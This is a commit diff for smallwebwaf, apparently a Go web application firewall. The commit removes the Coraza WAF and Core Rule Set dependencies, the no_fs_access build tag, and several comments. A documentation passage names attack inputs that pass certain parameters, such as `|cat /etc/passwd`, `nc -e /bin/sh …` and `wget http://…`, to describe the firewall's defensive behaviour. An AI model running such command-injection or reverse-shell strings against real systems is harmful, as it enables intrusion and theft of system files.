Compare commits
1
Commits
next
..
ddb95f5411
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ddb95f5411 |
+5
-9
@@ -36,12 +36,11 @@ RUN go mod tidy -diff || \
|
|||||||
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
|
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
|
||||||
|
|
||||||
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
|
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
|
||||||
# after this step, and writing it into the image takes seconds. The tests
|
# after this step, and writing it into the image takes seconds.
|
||||||
# are built with the no_fs_access tag, as the binary is in the build stage.
|
|
||||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||||
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
|
go test -timeout 90s -race -cover ./... || \
|
||||||
{ echo "--- Rerunning with -v for details ---"; \
|
{ echo "--- Rerunning with -v for details ---"; \
|
||||||
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
|
go test -timeout 90s -race -v ./...; exit 1; }
|
||||||
|
|
||||||
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
|
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
|
||||||
# writes pass the test phase's check. Nothing else depends on it, so only
|
# writes pass the test phase's check. Nothing else depends on it, so only
|
||||||
@@ -85,10 +84,7 @@ COPY . .
|
|||||||
# The VERSION build arg when one is given, otherwise
|
# The VERSION build arg when one is given, otherwise
|
||||||
# `git describe --tags --always` on the .git in the build context. With
|
# `git describe --tags --always` on the .git in the build context. With
|
||||||
# .git present, a version that is still empty, dev or unknown fails the
|
# .git present, a version that is still empty, dev or unknown fails the
|
||||||
# build: git is missing or could not read the checkout. The no_fs_access
|
# build: git is missing or could not read the checkout.
|
||||||
# tag keeps Coraza from writing the files of a multipart body to the
|
|
||||||
# system's temporary directory, since smallwebwaf writes only to its state
|
|
||||||
# directory.
|
|
||||||
ARG VERSION
|
ARG VERSION
|
||||||
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
|
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
|
||||||
if [ -e .git ]; then \
|
if [ -e .git ]; then \
|
||||||
@@ -97,7 +93,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
|
|||||||
exit 1 ;; \
|
exit 1 ;; \
|
||||||
esac; \
|
esac; \
|
||||||
fi; \
|
fi; \
|
||||||
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
|
CGO_ENABLED=0 go build -trimpath \
|
||||||
-ldflags="-s -w -X main.Version=${VERSION}" \
|
-ldflags="-s -w -X main.Version=${VERSION}" \
|
||||||
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
|
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
|
||||||
|
|
||||||
|
|||||||
@@ -618,12 +618,10 @@ The settings, by group:
|
|||||||
`|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and
|
`|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and
|
||||||
`file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and
|
`file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and
|
||||||
script injection and PHP, Java and Node.js code are still refused
|
script injection and PHP, Java and Node.js code are still refused
|
||||||
there, and every other parameter keeps all three rules. These names,
|
there, and every other parameter keeps all three rules. An app that
|
||||||
and `redirect_uri` in the change before, are matched without regard to
|
uses one of these parameters as a file on the server, or passes it to
|
||||||
case, as Coraza matches them, so `Path` or `PATH` is treated as
|
a shell, gets no help from the three rules there (see "Risks the
|
||||||
`path`. An app that uses one of these parameters as a file on the
|
design has to handle").
|
||||||
server, or passes it to a shell, gets no help from the three rules
|
|
||||||
there (see "Risks the design has to handle").
|
|
||||||
- The Core Rule Set reads the request without the `gitea_flash` and
|
- The Core Rule Set reads the request without the `gitea_flash` and
|
||||||
`redirect_to` cookies, and does not check `Referer` for a Unix command
|
`redirect_to` cookies, and does not check `Referer` for a Unix command
|
||||||
given without arguments (932340) or for Java starting a process
|
given without arguments (932340) or for Java starting a process
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ module sneak.berlin/go/smallwebwaf
|
|||||||
go 1.26.0
|
go 1.26.0
|
||||||
|
|
||||||
require (
|
require (
|
||||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
|
|
||||||
github.com/corazawaf/coraza/v3 v3.8.1
|
|
||||||
github.com/fsnotify/fsnotify v1.10.1
|
github.com/fsnotify/fsnotify v1.10.1
|
||||||
github.com/hashicorp/golang-lru/v2 v2.0.7
|
github.com/hashicorp/golang-lru/v2 v2.0.7
|
||||||
github.com/maxmind/mmdbwriter v1.2.0
|
github.com/maxmind/mmdbwriter v1.2.0
|
||||||
@@ -15,29 +13,12 @@ require (
|
|||||||
require (
|
require (
|
||||||
github.com/beorn7/perks v1.0.1 // indirect
|
github.com/beorn7/perks v1.0.1 // indirect
|
||||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||||
github.com/corazawaf/libinjection-go v0.3.3 // indirect
|
|
||||||
github.com/goccy/go-json v0.10.5 // indirect
|
|
||||||
github.com/goccy/go-yaml v1.19.2 // indirect
|
|
||||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
|
||||||
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
|
|
||||||
github.com/kaptinlin/go-i18n v0.1.4 // indirect
|
|
||||||
github.com/kaptinlin/jsonschema v0.4.6 // indirect
|
|
||||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||||
github.com/magefile/mage v1.17.0 // indirect
|
|
||||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
|
||||||
github.com/prometheus/client_model v0.6.2 // indirect
|
github.com/prometheus/client_model v0.6.2 // indirect
|
||||||
github.com/prometheus/common v0.70.1 // indirect
|
github.com/prometheus/common v0.70.1 // indirect
|
||||||
github.com/prometheus/procfs v0.21.1 // indirect
|
github.com/prometheus/procfs v0.21.1 // indirect
|
||||||
github.com/tidwall/gjson v1.18.0 // indirect
|
|
||||||
github.com/tidwall/match v1.1.1 // indirect
|
|
||||||
github.com/tidwall/pretty v1.2.1 // indirect
|
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
|
||||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||||
golang.org/x/net v0.58.0 // indirect
|
|
||||||
golang.org/x/sync v0.23.0 // indirect
|
|
||||||
golang.org/x/sys v0.48.0 // indirect
|
golang.org/x/sys v0.48.0 // indirect
|
||||||
golang.org/x/text v0.41.0 // indirect
|
|
||||||
google.golang.org/protobuf v1.36.11 // indirect
|
google.golang.org/protobuf v1.36.11 // indirect
|
||||||
rsc.io/binaryregexp v0.2.0 // indirect
|
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -2,54 +2,22 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
|||||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||||
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||||
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
|
|
||||||
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
|
|
||||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
|
|
||||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
|
|
||||||
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
|
|
||||||
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
|
|
||||||
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
|
|
||||||
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
|
||||||
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
|
||||||
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
|
||||||
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
||||||
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
||||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
|
||||||
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
|
||||||
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
|
||||||
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
|
|
||||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
|
|
||||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
|
|
||||||
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
|
|
||||||
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
|
|
||||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
||||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||||
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
|
|
||||||
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
|
|
||||||
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
|
|
||||||
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
|
|
||||||
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
|
|
||||||
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
|
||||||
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
||||||
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||||
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
|
||||||
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
|
|
||||||
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
|
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
|
||||||
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
|
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
|
||||||
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
|
|
||||||
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
|
|
||||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
|
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
|
||||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
|
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
|
||||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
|
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
|
||||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
|
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
|
||||||
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
|
|
||||||
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
|
|
||||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
|
|
||||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
|
|
||||||
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
|
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
|
||||||
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
|
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
|
||||||
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
|
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
|
||||||
@@ -60,15 +28,6 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
|
|||||||
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
||||||
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
||||||
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
||||||
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
|
||||||
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
|
||||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
|
||||||
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
|
|
||||||
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
|
||||||
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
|
|
||||||
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
|
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
|
|
||||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||||
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
|
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
|
||||||
@@ -77,21 +36,7 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
|
|||||||
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
|
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
|
||||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
|
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
|
||||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
|
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
|
||||||
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
|
|
||||||
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
|
|
||||||
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
|
|
||||||
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
|
|
||||||
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
|
|
||||||
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
|
|
||||||
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
|
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
|
||||||
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
|
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
|
||||||
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
|
|
||||||
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
|
|
||||||
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
|
|
||||||
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
|
|
||||||
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
|
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
|
||||||
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
|
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
|
||||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
|
||||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
|
||||||
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
|
|
||||||
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
|
||||||
|
|||||||
@@ -44,17 +44,13 @@ const (
|
|||||||
// EventAnomaly is a count of requests or bytes over an anomaly
|
// EventAnomaly is a count of requests or bytes over an anomaly
|
||||||
// threshold.
|
// threshold.
|
||||||
EventAnomaly = "anomaly"
|
EventAnomaly = "anomaly"
|
||||||
// EventWAFBlock is a request the Core Rule Set scored at or over
|
// EventWAFBlock comes with the Core Rule Set; nothing raises it yet.
|
||||||
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
|
||||||
// detect mode.
|
|
||||||
EventWAFBlock = "waf_block"
|
EventWAFBlock = "waf_block"
|
||||||
// EventReputationHit is a request whose client a blocklist, the
|
// EventReputationHit is a request whose client a blocklist or a DNSBL
|
||||||
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
|
// zone lists.
|
||||||
// is a hit.
|
|
||||||
EventReputationHit = "reputation_hit"
|
EventReputationHit = "reputation_hit"
|
||||||
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
|
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
|
||||||
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
// of a list failing, or a query to a DNSBL zone failing or refused.
|
||||||
// failing or refused, or the day's AbuseIPDB checks used up.
|
|
||||||
EventSourceFailure = "source_failure"
|
EventSourceFailure = "source_failure"
|
||||||
// EventFileError is a rule file or state file edited while smallwebwaf
|
// EventFileError is a rule file or state file edited while smallwebwaf
|
||||||
// runs that does not parse, a replacement of the lookup database that
|
// runs that does not parse, a replacement of the lookup database that
|
||||||
|
|||||||
@@ -27,8 +27,7 @@ const maxCounters = 20000
|
|||||||
// The scopes, what a counter counts, as the settings, alerts.json and the
|
// The scopes, what a counter counts, as the settings, alerts.json and the
|
||||||
// alerts name them.
|
// alerts name them.
|
||||||
const (
|
const (
|
||||||
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
// ScopeClient is one client: an IPv4 address, or an IPv6 /64.
|
||||||
// SWWAF_IPV6_GROUP_PREFIX.
|
|
||||||
ScopeClient = "client"
|
ScopeClient = "client"
|
||||||
// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
|
// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
|
||||||
// or SWWAF_ANOMALY_NET_V6_PREFIX long.
|
// or SWWAF_ANOMALY_NET_V6_PREFIX long.
|
||||||
@@ -104,8 +103,7 @@ type Counter struct {
|
|||||||
// Request is a request that has ended, as the counters count it.
|
// Request is a request that has ended, as the counters count it.
|
||||||
type Request struct {
|
type Request struct {
|
||||||
// Client is the client's address, and ClientGroup the client it is
|
// Client is the client's address, and ClientGroup the client it is
|
||||||
// counted as: its IPv4 address, or the IPv6 netblock of
|
// counted as: its IPv4 address, or its IPv6 /64.
|
||||||
// SWWAF_IPV6_GROUP_PREFIX its address is in.
|
|
||||||
Client netip.Addr
|
Client netip.Addr
|
||||||
ClientGroup netip.Prefix
|
ClientGroup netip.Prefix
|
